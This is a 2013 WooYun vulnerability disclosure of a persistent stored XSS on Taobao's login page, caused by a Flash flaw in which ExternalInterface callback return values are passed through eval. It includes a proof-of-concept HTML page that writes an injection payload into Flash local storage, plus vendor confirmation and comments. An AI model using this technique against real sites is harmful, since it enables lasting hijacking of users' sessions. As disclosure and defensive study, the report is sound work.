当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-039481

漏洞标题:一个flash的0day导致的淘宝网存储xss(可形成永久后门)

相关厂商:淘宝网

漏洞作者: neobyte

提交时间:2013-10-12 13:00

修复时间:2013-11-26 13:01

公开时间:2013-11-26 13:01

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-10-12: 细节已通知厂商并且等待厂商处理中
2013-10-12: 厂商已经确认,细节仅向厂商公开
2013-10-22: 细节向核心白帽子及相关领域专家公开
2013-11-01: 细节向普通白帽子公开
2013-11-11: 细节向实习白帽子公开
2013-11-26: 细节向公众公开

简要描述:

淘宝的存储XSS,其实是利用了flash的0day,但预计很多网站都受影响...

详细说明:

关于flash的XSS,除了常见的一些技巧外,目前已知的比较偏门的两类是:
1.ExternalInterface.call的第二个参数,主要利用\",catch(e){}//,wooyun上有很多例子
2.在IE下,当flash调用ExternalInterface.addCallback时,如果object的id可控.
但需要注意的是:当js调用flash暴露出来的callback时,返回值也是一个敏感点!这个在wooyun上并没有看到有人提及,也许被很多人忽视了.
首先来看看js是如何处理flash的callback的:
1.在ie下,其实是

eval(instance.CallFunction("<invoke name=\""+name+"\" returntype=\"javascript\">" + __flash__argumentsToXML(arguments,0) + "</invoke>"));


2.在FF与Chrome等其他浏览器下,其实是

eval(var __flash_temp = "returned value"; __flash_temp;)


注意到这里都调用了eval,再结合ExternalInterface.call的那个0 day, 利用方式也就呼之欲出了.
所以只要js中调用了callback函数,而返回值又可被攻击者控制的话,就可以造成xss. IE, Chrome, FF等浏览器均受影响.
一般的,如果你利用js来读取flash的LSO的话,那么就很有可能中招. 注意不管你是否在js里是否对过滤读取出的数据,也不管你读取出数据后是否用于DOM操作,仅仅读取这个动作就会触发XSS.
实例:
https://login.taobao.com
这个页面自动加载一个JSocket.swf,这个flash会添加二个callback函数,分别是getlso与setlso.
如果用户访问某个恶意站点的过程中其LSO被篡改,那么当其以后访问login.taobao.com时就触发xss. 由于LSO是持久的,所以利用这个xss劫持用户也是可能的.
下面是POC(渣代码见谅),访问这个html后再访问login.taobao.com就会触发XSS

<html>
<body>
<object id="JSocket" tabindex="-1" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="1" height="1" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<param name="movie" value="http://acjstb.aliyun.com/actionlog/flash/JSocket.swf">
<param name="allowScriptAccess" value="always">
<embed name="JSocket" src="http://acjstb.aliyun.com/actionlog/flash/JSocket.swf" width="1" height="1" allowscriptaccess="always" type="application/x-shockwave-flash" pluginspage="http://www.adobe.com/go/getflashplayer">
</object>
<script>
function set(){document['JSocket'].setlso('aa\\";alert(document.domain);//aa');}
setTimeout("set()",5000);
</script>
</body>
</html>


漏洞证明:

1. Chrome下

chrome.png


2. IE下,顺便验证一下domain

IE.png

修复方案:

怎么检查ExternalInterface.call的输入参数,就怎么处理callback的返回值吧

版权声明:转载请注明来源 neobyte@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2013-10-12 16:44

厂商回复:

感谢你对我们的支持与关注,该问题我们正在修复~~

最新状态:

暂无


漏洞评价:

评论

  1. 2013-10-12 13:05 | Master ( 路人 | Rank:29 漏洞数:10 )

    我去,这才是漏洞。高端大气上档次,低调奢华有内涵。

  2. 2013-10-12 13:21 | 灬相随灬 ( 普通白帽子 | Rank:369 漏洞数:68 | 大胆天下去得,小心寸步难行。)

    忽略

  3. 2013-10-12 13:36 | M4sk ( 普通白帽子 | Rank:1199 漏洞数:319 | 国内信息安全任重而道远,还需要厂商和白帽...)

    mark

  4. 2013-10-12 13:41 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2179 漏洞数:338 | 呵呵!)

    0day都出来了

  5. 2013-10-12 13:45 | xxw ( 路人 | Rank:29 漏洞数:18 | 中国梦)

    牛逼

  6. 2013-10-12 13:49 | Mr.杨总 ( 路人 | Rank:14 漏洞数:4 | 绿色 无毒 你懂得。。。。心要宽 。。。)

    高端大气上档次,低调奢华有内涵。

  7. 2013-10-12 13:51 | Mas ( 实习白帽子 | Rank:42 漏洞数:15 )

    mark

  8. 2013-10-12 14:05 | 暖暖 ( 路人 | Rank:7 漏洞数:2 | 屌丝一个。)

    淘宝的存储XSS,其实是利用了flash的0day,但预计很多网站都受影响...厂商忽略。

  9. 2013-10-12 14:15 | 想要减肥的胖纸 ( 普通白帽子 | Rank:250 漏洞数:42 )

    漏洞名字高端大气上档次,低调社会有内涵

  10. 2013-10-12 14:15 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    私信 求细节!

  11. 2013-10-12 14:18 | xxw ( 路人 | Rank:29 漏洞数:18 | 中国梦)

    这是要火的节奏丫!

  12. 2013-10-12 14:33 | onlycjeg ( 实习白帽子 | Rank:38 漏洞数:5 | 我就看看,我不说话.)

    mark

  13. 2013-10-12 14:42 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    关注下

  14. 2013-10-12 15:29 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    马克

  15. 2013-10-12 15:52 | txcbg ( 普通白帽子 | Rank:391 漏洞数:53 | 说点什么呢?)

    关注

  16. 2013-10-12 16:19 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名,可我没猜出密码。)

    闪电

  17. 2013-10-12 16:39 | ╰╃清風 ( 实习白帽子 | Rank:89 漏洞数:9 | 这家伙很懒,什么都没有留下)

    高端大气上档次

  18. 2013-10-13 11:11 | X防部 ( 普通白帽子 | Rank:487 漏洞数:137 )

    骚年公开吧

  19. 2013-10-22 19:11 | p.z 认证白帽子 ( 普通白帽子 | Rank:411 漏洞数:40 )

    我看了 高端大气上档次 建议淘宝送给洞主一只吉娃娃

  20. 2013-10-24 01:54 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    问题很隐蔽,这个开发人员肯定注意不到了,只要有这么用了的,估计都存在问题。

  21. 2013-10-24 09:15 | clzzy ( 普通白帽子 | Rank:176 漏洞数:18 )

    mark

  22. 2013-10-24 12:51 | X防部 ( 普通白帽子 | Rank:487 漏洞数:137 )

    尼玛 花了4个wb提前看 真值!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

  23. 2013-10-24 13:21 | NULL0 ( 路人 | Rank:18 漏洞数:3 | ..............)

    尼玛 花了4个wb提前看 真值!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

  24. 2013-11-04 11:43 | 一刀终情 ( 普通白帽子 | Rank:156 漏洞数:28 | ‮‮PKAV技术宅社区-安全爱好者)

    这个给力,感觉8rank少了,不过仅对淘宝来说,差不多~其实是个通用漏洞啊~

  25. 2014-03-10 10:05 | her0ma ( 核心白帽子 | Rank:598 漏洞数:84 | 专注小厂商三十年!)

    将allowscriptaccess的属性值修改成sameDomain 是不是会防止?

  26. 2014-05-21 14:16 | 小贱人 ( 路人 | Rank:4 漏洞数:3 | 资深菜鸟,)

    mark